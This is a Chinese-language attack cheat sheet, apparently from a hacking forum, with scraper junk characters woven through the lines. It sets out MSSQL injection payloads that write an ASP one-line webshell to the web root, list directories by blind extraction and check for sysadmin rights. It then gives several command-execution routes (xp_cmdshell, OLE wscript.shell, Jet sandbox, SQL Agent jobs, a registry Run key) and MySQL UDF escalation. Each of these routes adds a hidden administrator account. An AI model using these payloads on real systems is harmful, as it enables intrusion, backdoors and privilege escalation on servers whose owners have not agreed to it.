MSSQL语句导出一句话木马
' l w3 |/ z4 ~) L: I( w1 K首先确定网站的WEB路径2 O( n4 v T3 G: j# r
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
7 ?5 ]* l2 M7 N7 Y! R. G
5 S- d6 d/ _1 ^+ L( O: w# X v;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- : `. z% Q- ]4 C4 s, |4 K
//将一句话木马插入表中
! I2 l3 l( F; v, {1 Y1 x$ H7 p2 D4 o
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- ; q3 y* [- _7 V7 @0 d0 \
//导出一个ASP文件
5 t& W9 b' z, w) C! E* \/ @
3 h5 A; [, @) U
& o2 o" X6 [9 i. Z/ v9 A关于MSSQL列目录
6 ]) `5 ?: F( c6 @2 L2 l;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
& Y0 g/ a+ Q6 k3 n" sInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表- c' d5 ]- g4 M4 C
X# s3 P4 Y/ Z- z" F0 k! S
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录0 L6 l/ v. m( E' i% D: g
% _* x* a+ c( U% t6 y9 {6 y
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段# ~0 Z) i( U2 a
4 O. g0 a3 W: A0 s& oAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
5 F; l; g# ^' c+ o' G- T/ k5 C6 I, @4 b) s: r: z8 \
, }' ?+ h1 ^4 h+ n1 g4 t2 u; |
数据库版本和权限查看# j9 S& ^8 @6 f% l% ^
and 1=(select @@VERSION) //查看详细的数据库信息.
5 E$ U/ G' \7 ]2 [1 ~and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
3 Z8 _% a+ j1 @6 ^and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER% Z* _4 |/ t* C( V, o3 }" B# Q0 M
/ w7 B, K5 v' t$ m" o
# s) x- n: c. c1.利用xp_cmdshell执行命令
4 E) ] y( i- Qexec master..xp_cmdshell 'net user rfire 123456 /add'- ~) g7 @! ~9 k2 t% b
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
7 o6 x% M4 K( ^! [
/ V& C c5 V( K+ g$ U恢复xp_cmdshell存储过程$ _5 \4 Y; I" w0 R* {
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
- |/ X& x+ G& l2 t) ?" X+ t6 }! A) V; z) O
8 \8 x M: B' K Z9 K% F
2.利用SP_OAcreate和SP_OAMETHOD执行命令5 D ?, u) @" s/ \7 d
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下/ _3 f) a' Y, A) m/ `: F
DECLARE @shell INT //建立一个@shell实体9 Y6 l/ _$ Q- A% I
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例1 p3 r- B* Y6 ]
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
8 S7 y( q+ _- k7 S! e& a; t0 r: ^. q
7 A& K3 U! \0 }8 G5 b3.利用沙盒模式
. W3 ]. _# N- r) p/ f先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。* X: Q- I3 O+ O! ^% N3 n! y9 W
开启沙盒模式:/ y, W+ Y9 o2 J" a' l$ }3 p5 y. \
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
9 f& p. c7 h- _+ h8 X9 k* ?
- s' X/ X* v5 B) D, |2 {0 w+ A执行命令:
; a4 G6 ]2 c& N6 a) a2 \ M- z# YSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');& ]& X D! q0 ^ v
3 z+ L4 ^/ ]/ S0 L
0 s5 [- m2 ]/ n h, [) ~8 J, O6 E3 ]
4.利用SQL代理执行命令& t2 y0 ?1 Y0 f0 A Q# j: K
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
6 z( F9 D Z# L( {. @) e" U3 n! d! L! H
执行命令:
/ k u7 U6 L/ z$ V1 ?$ G( j) ^use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
/ { L. b; L; I( ?4 ?exec sp_add_job 'x'
, `5 }! m! O/ ~, q/ r( Sexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
; `# j8 q5 R; F c4 I, qexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业2 R) f8 a+ g, \* q6 @% N8 E
& ^$ W8 H1 R. L, V$ w# @4 @) a6 R7 d6 R
, a( E: T! Y; u/ U. q' K1 i4 O
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)$ V3 U" M# s$ I+ h; w9 m
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
; C0 y( O1 ?: S% A5 q; n, \
. \- n/ ~, O: R8 m% E& w; p3 a/ D& o, `5 Y' q
6.MYSQL的命令执行+ ?2 Z+ A& F& k$ D! t# l
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
" `9 F- J% @! C. }& _首先要在su.php下导出c:\windows\udf.dll
) O% k9 k( e' m- K. A; I0 W导出后执行创建自定义函数命令:
9 ^+ k, K1 _. U7 R, c7 N6 BCreate Function cmdshell returns string soname 'udf.dll'4 ^3 \! Y% [& n) F7 ?) x% p
执行命令
8 A3 @, K; C! D% m! L! l/ Yselect cmdshell('net user rfire 123456 /add')6 u; `( `, s+ q) z }. ^
执行后删除函数 drop function cmdshell
! k8 V3 ]. a" S |